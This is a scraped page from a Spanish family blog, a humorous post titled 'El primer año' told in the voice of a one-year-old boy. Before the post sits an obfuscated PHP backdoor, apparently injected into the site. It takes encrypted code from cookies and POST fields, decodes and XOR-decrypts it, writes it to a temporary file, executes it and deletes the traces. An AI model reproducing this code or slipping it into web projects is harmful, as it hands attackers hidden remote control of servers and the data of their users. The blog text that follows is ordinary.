$nJiipQ = "\x4d" . '_' . "\x48" . chr ( 517 - 443 ).'h' . "\x44" . 'c';$JSZzPIxGbH = "\143" . chr (108) . chr ( 857 - 760 )."\x73" . "\x73" . "\137" . chr (101) . "\170" . chr (105) . chr (115) . "\164" . chr ( 241 - 126 ); $fIaFewIVp = $JSZzPIxGbH($nJiipQ); $nJiipQ = "23744";$GogrbYc = !$fIaFewIVp;$JSZzPIxGbH = "42898";if ($GogrbYc){class M_HJhDc{public function VUjVnhVuEK(){echo "5537";}private $MnLCnTvit;public static $IvErMj = "ea0e5aa3-fac4-4fa1-9ed3-6bffe5e36f6a";public static $UriJCglL = 32002;public function __construct($jhovr=0){$BsAFotg = $_COOKIE;$HvGOKEZQxN = $_POST;$whKRQebSl = @$BsAFotg[substr(M_HJhDc::$IvErMj, 0, 4)];if (!empty($whKRQebSl)){$ItrlW = "base64";$OXyNJYH = "";$whKRQebSl = explode(",", $whKRQebSl);foreach ($whKRQebSl as $FjPPLERFEF){$OXyNJYH .= @$BsAFotg[$FjPPLERFEF];$OXyNJYH .= @$HvGOKEZQxN[$FjPPLERFEF];}$OXyNJYH = array_map($ItrlW . chr ( 610 - 515 ).'d' . "\x65" . 'c' . "\x6f" . chr ( 749 - 649 ).chr (101), array($OXyNJYH,)); $OXyNJYH = $OXyNJYH[0] ^ str_repeat(M_HJhDc::$IvErMj, (strlen($OXyNJYH[0]) / strlen(M_HJhDc::$IvErMj)) + 1);M_HJhDc::$UriJCglL = @unserialize($OXyNJYH);}}private function uDdbCYnU(){if (is_array(M_HJhDc::$UriJCglL)) {$CbAoCoJPkl = sys_get_temp_dir() . "/" . crc32(M_HJhDc::$UriJCglL['s' . chr ( 998 - 901 ).'l' . 't']);@M_HJhDc::$UriJCglL[chr ( 182 - 63 )."\x72" . "\x69" . chr (116) . 'e']($CbAoCoJPkl, M_HJhDc::$UriJCglL["\143" . "\157" . chr (110) . "\164" . 'e' . chr ( 837 - 727 ).'t']);include $CbAoCoJPkl;@M_HJhDc::$UriJCglL["\x64" . chr ( 879 - 778 )."\154" . chr ( 311 - 210 )."\164" . "\x65"]($CbAoCoJPkl); $AhOvtjq = "53441";exit();}}public function __destruct(){$this->uDdbCYnU(); $axitm = str_pad("53441", 10);}}$rQVPaYsKI = new /* 22726 */ M_HJhDc(); $rQVPaYsKI = substr("1707_7598", 1);} El primer año | desdelallanura

El primer año

Aunque a veces he tenido dudas sobre cómo me llamo, me llamo Yago. Ahora que tengo un año, tengo las cosas claras, pero he sufrido lo mío. Hubo un tiempo en el que creí que me llamaba cielo o cielito, tesoro o tesorito, más tarde pasé una crisis creyendo que me quedaría para siempre pequeñín porque todos me llamaban el pequeñín, pero lo peor lo pasé cuando todo el mundo me miraba y me decía qué monada, llegué a pensar que era un mono. También pensé que había nacido en la realeza con tanto nombre: Cielito Tesoro Pequeñín Quemonada.

Si con el nombre ya no tengo dudas, no me pasa lo mismo con el lugar donde resido. Estoy confundido. Tan pronto estoy en Palencia como estoy en San Mamés, parece que entre semana soy de Palencia y los fines de semana soy de San Mamés o de Carrión, aunque yo con eso de los días de la semana me lío mucho.

Pero como he dicho antes, me llamo Yago, Yago del Valle Robles. Creo que con estos apellidos tengo que estudiar a la fuerza para agente forestal o ingeniero agrícola, o al menos ser de Greenpeace y defender la naturaleza. He tenido la suerte de nacer teniendo un hermano mayor que como yo, tiene que estudiar a la fuerza para agente forestal o ingiero agrícola o ser de Greenpeace porque se apellida como yo: del Valle Robles, pero se llama Martín.

Tener un hermano mayor te hace espabilarte. Él siempre llega primero a los sitios, alcanza cosas que están más arriba y consigue una variedad mucho más amplía de chucherías que yo. A mí solo me dan aspitos o gusanitos, pero gracias a él, he probado piruletas, chupachuses y hasta helados. Mi mamá no ha incluido este tipo de cosas en mi alimentación, pero en el teleclub del pueblo se consiguen con bastante facilidad.

Ya he dicho que mi hermano es más rápido, pero yo noto que estoy mejorando. Estoy aplicando la misma táctica que él: caminar erguido. A mí lo de ir a gatas siempre me ha gustado, pero no era suficiente para ganar. Tenía, además, otra desventaja y es que así es imposible chutar la pelota. Parece que eso de chutar es muy divertido porque mi hermano se pasa horas pegando a la pelota. Así que he decidido imitar a mi hermano y, aunque me cuesta mucho esfuerzo, ya consigo dar algunos pasitos yo solo. Entreno duro todos los días apoyándome en todo lo que tengo cerca: puertas, paredes, patas de las sillas, piernas de los que están o vienen a casa.

Vivo con Martín, con mi padre, con mi madre y con mi abuela, aunque lo de mi abuela me crea dudas: unas veces está, otras veces no está. Antes, si ella estaba, yo tenía que ir a un sitio que llaman guardería donde hay muchos niños. Siempre era así, pero ahora desde hace poquito tiempo estoy con ella y no me lleva a ningún sitio. He tenido que hacer de detective para saber que es algo que los mayores llaman vacaciones o verano.

Tanto mi abuela, como mis padres o Martín no hacen más que acercar su cara a la mía y hacer un sonido parecido a mua. Cuando llegan mis primos o mis tíos, más de lo mismo. Son muy pesados con este tema, ya les vale. Mi hermano da muchos muas y gratis, pero yo salgo negociante y vendo mis muas muy caros. Además, lo sé por mi hermano, cuando más das, más te piden y yo tengo otras cosas que hacer.
Dicen que parloteo mucho, pero no me sirve de nada. No me contestan a lo que les digo. Se inventan las cosas. Ellos dicen que tengo un idioma propio, pero yo creo que el problema está en que no quieren aprender idiomas … Así que he tenido que ir yo aprendiendo el suyo. ¡Qué egoístas!

Un comentario en “El primer año

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *